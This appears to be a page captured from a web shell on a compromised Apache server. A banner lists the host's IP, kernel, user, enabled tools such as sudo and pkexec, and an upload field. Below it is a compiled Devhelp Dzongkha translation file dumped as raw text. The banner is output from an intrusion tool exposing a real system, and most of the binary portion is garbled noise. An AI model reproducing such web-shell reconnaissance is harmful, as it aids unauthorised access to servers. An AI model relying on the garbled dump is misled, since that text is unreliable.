| Server IP : 182.53.201.61 / Your IP : 216.73.217.175 Web Server : Apache/2.2.15 (Fedora) System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 User : apache ( 48) PHP Version : 5.3.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/locale/dz/LC_MESSAGES/ |
Upload File : |
? Y p q ~ & + D & L s
,
" 0 S , i 4 # 2 V " s " ' / . M 6 | : "
*
D
^
d
k
q
w
K
F 9 A .
7
E l B a H | 9 o E / * u } o T H G . Y ! ~ ) ] E m ~ r j E n o T $ ] y e # ^ E T , O 7 1 ( i ( s
! ^ ~! 4 ! " " # L $ 1 ' 5 0 - + . , & $ 2 < > = : "
# ! 8 ( ; / 3 7 ) * %
4 9 ? 6 <b>Fonts</b> <b>Searching</b> A developer's help browser for GNOME 2 Browse Contents Cannot uncompress book '%s': %s Contents Could not create book parser Could not create markup parser Developer's Help program Devhelp Devhelp is not built with zlib support Devhelp support Display the version and exit Documentation Browser Empty Page Expected '%s' got '%s' at line %d, column %d Font for fixed text Font for text Font for text with fixed width. Font for text with variable width. Height of main window Invalid namespace '%s' at line %d, column %d Main window maximized state Makes F7 bring up Devhelp for the word at the cursor New _Tab Preferences Quit any running Devhelp Search Search for a function Selected tab, "content" or "search" Show advanced search options The X position of the main window. The Y position of the main window. The height of the main window. The width of the index and search pane. The width of the main window. Use system fonts Use the system default fonts. Whether the advanced search options are shown. Whether the main window should start maximized or not. Which of the tabs that is selected, "content" or "search". Width of the index and search pane Width of the main window X position of main window Y position of main window _Back _Book: _Edit _File _Fixed width: _Forward _Go _Help _New Window _Page: _Show advanced search options _Use system fonts _Variable width: name and link elements are required inside <function> on line %d, column %d name and link elements are required inside <sub> on line %d, column %d title, name, and link elements are required at line %d, column %d translator_credits Project-Id-Version: devhelp
Report-Msgid-Bugs-To:
POT-Creation-Date: 2007-01-17 03:18+0000
PO-Revision-Date: 2007-02-05 13:38-0500
Last-Translator: Tshewang Norbu <bumthap2006@hotmail.com>
Language-Team: dzongkha <pgeyleg@dit.gov.bt>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2;plural=(n!=1);
X-Poedit-Language: Dzongkha
X-Poedit-Country: BHUTAN
X-Poedit-SourceCharset: utf-8
<b>ཡིག་གཟུགས་ཚུ།</b> <b>འཚོལ་ཞིབ་འབད་དོ།</b> ཇི་ནོམ་༢ གི་དོན་ལུ་བཟོ་མི་གི་གྲོགས་རམ་བརའུ་ཟར་ཅིག ནང་དོན་ཚུ་བརྡ་འཚོལ་འབད། ཀི་དེབ'%s': %s་ ཨེབ་བཙུགས་བཤོལ་འབད་མི་ཆོག། ནང་དོན་ཚུ། ཀི་དེབ་མིང་དཔྱད་འབད་མི་གསར་བསྐྲུན་འབད་མ་ཚུགས། རྟགས་བཀོད་ མིང་དཔྱད་འབད་མི་གསར་བསྐྲུན་འབད་མ་ཚུགས། བཟོ་མིའི་གྲོགས་རམལས་རིམ། ཌེབ་ཧལཔ། ཌེབ་ཧལཔ་འདི་ ཛིལཔ་རྒྱབ་སྐྱོར་དང་བཅསཔ་འབད་བཟོ་བརྩིགས་འབད། ཌེབ་ཧལཔ་རྒྱབ་སྐྱོར། ཐོན་རིམ་དེ་དང་ཕྱིར་ཐོན་བཀྲམ་སྟོན་འབད། ཡིག་ཐོག་བཀོད་པ་བརའུ་ཟར། ཤོག་ལེབ་སྟོངམ། རེ་བ་ཡོད་མི་ '%s' གྱལ་ལུ་ '%s' ཀེར་ཐིག་ %d, ཐོབ་ཡོདཔ %d གཏན་བཟོས་ཚིག་ཡིག་གི་དོན་ལུ་ཡིག་གཟུགས། ཡིག་ཚིག་གི་དོན་ལུ་ཡིག་གཟུགས། ཚིག་ཡིག་དང་གཅིག་ཁར་གཏན་བཟོ་ཡོད་མི་རྒྱ་ཚད་ཀྱི་དོན་ལུ་ཡིག་གཟུགས། ཚིག་ཡིག་དང་གཅིག་ཁར་འགྱུར་ཅན་རྒྱ་ཚད་ཀྱི་དོན་ལུ་ཡིག་གཟུགས། ཝིན་ཌོ་གཙོ་བོ་གི་མཐོ་ཚད། ནུས་མེད་མིང་གི་བར་སྟོང་ '%s' གྱལ་ལུ་ %d, ཀེར་ཐིག་ %d ཝིན་ཌོ་གཙོ་བོ་གི་སྦོོམ་བཟོ་ཡོད་མི་གནས་ལུགས། ཌེཔ་ཧལཔ་ མིང་ཚིག་འོད་རྟགས་ཀྱི་དོན་ལུ་ སེ་ཝན་ཨེཕ་ཡར་འབག་འོང་་བཟོ་དོ། མཆོང་ལྡེ་གསརཔ།(_T) དགའ་གདམ་ཚུ། གཡོག་བཀོལ་བའི་བསྒང་གི་ཌེ་ཧལཔ་གང་རུང་་སྤང་། འཚོལ་ཞིབ། ལས་འགན་ཅིག་་གི་དོན་ལུ་འཚོལ་ཞིབ། སེལ་འཐུ་འབད་ཡོད་མི་མཆོང་ལྡེ་"content" ཡང "search" ཡར་འཕེལ་འབད་ཡོད་མི་ཞིབ་འཚོལ་གདམ་ཁ་ཚུ་སྟོན། ཝིན་ཌོ་་གཙོ་བོ་འདི་གིགནས་ས་་ཨེགསི་འདི། ཝིན་ཌོ་གཙོ་བོ་འདི་གི་གནས་་སཝའི་འདི། ཝིན་ཌོ་གཙོ་བོ་གི་ཐོ་ཚད། ཟུར་ཐོ་དང་ཚུལ་ཞིབ་པེན་གྱི་རྒྱ་ཚད་འདི། ཝིན་ཌོ་གཙོ་བོ་གི་རྒྱ་ཚད་འདི། རིམ་ལུགས་ཡིག་བཟོ་ཚུ་ལག་ལེན་འཐབ། རིམ་ལུགས་སྔོན་སྒྲིག་གི་ཡིག་གཟུགས་ཚུ་ལག་ལེན་འཐབ། ཡར་འཕར་འབད་ཡོད་མི་འཚོལ་ཞིབ་གདམ་ཁ་ཚུ་སྟོན་ཡོདཔ་ཨིན་རུང་མེད་རུང་། ཝིནཌོ་གཙོ་བོ་འདི་མང་མཐའ་འགོ་བཙུགས་དགོཔ་ཨིན་ན་མེན་ན། སེལ་འཐུ་འབད་ཡོད་མི་མཆོང་ལྡེ་ཚུ་་"content" ཡང་ན་ "search"ག་ཨིན་སྨོ། ཟུར་ཐོ་འདི་དང་འཚོལ་ཞིབ་པེན་གྱི་འདི་གི་རྒྱ་ཚད། ཝིནཌོ་གཙོ་བོ་གི་རྒྱ་ཚད། ཝིནཌོ་གཙོ་བོ་གི་གནས་ས་ཨེགསི། ཝིནཌོ་གཙོ་བོ་གི་གནས་ས་ཝའི། རྒྱབ(_B) ཀི་དེབ།(_B: ཞུན་དག(_E) ཡིག་སྣོད(_F) གཏན་བཟོའི་རྒྱ་ཚད།(_F) གདོང་བསྐྱོད།(_F) འགྱོ།(_G) གྲོགས་རམ།(_H) ཝིན་ཌོ་གསརཔ།(_N) ཤོག་ལེབ(_P): ཡར་འཕེལ་ཅན་གྱི་འཚོལ་ཞིབ་གདམ་དབང་སྟོན།(_S) རིམ་ལུགས་ཡིག་གཟུགས་ལག་ལེན་འཐབ།(_U) འགྱུར་ཅན་རྒྱ་ཚད།(_V) མིང་དང་འབྲེལ་ལམ་རྣམ་གྲངས་ཚུ་ <function> གློག་ལམ་ཐོག་ལུ་ %d, ཀེར་ཐིག་ནང་ན་དགོས་མཁོ་ཡོདཔ། %d མིང་དང་འབྲེལ་ལམ་རྣམ་གྲངས་ཚུ་ <sub> གློག་ལམ་ཐོག་ལུ་ %d, ཀེར་ཐིག་ནང་ན་དགོས་མཁོ་ཡོདཔ། %d མགོ་མིང་་ མིངདང་འབྲེལ་ལམ་རྒྱུ་རྫས་དེ་ཚུ གྱལ་རིམ་%d ཀེར་ཐིག%dལུ་དགོས་མཁོ་ཡོདཔ། སྐད་བསྒྱུར་པའི་ངོ་བསྟོད།(_c)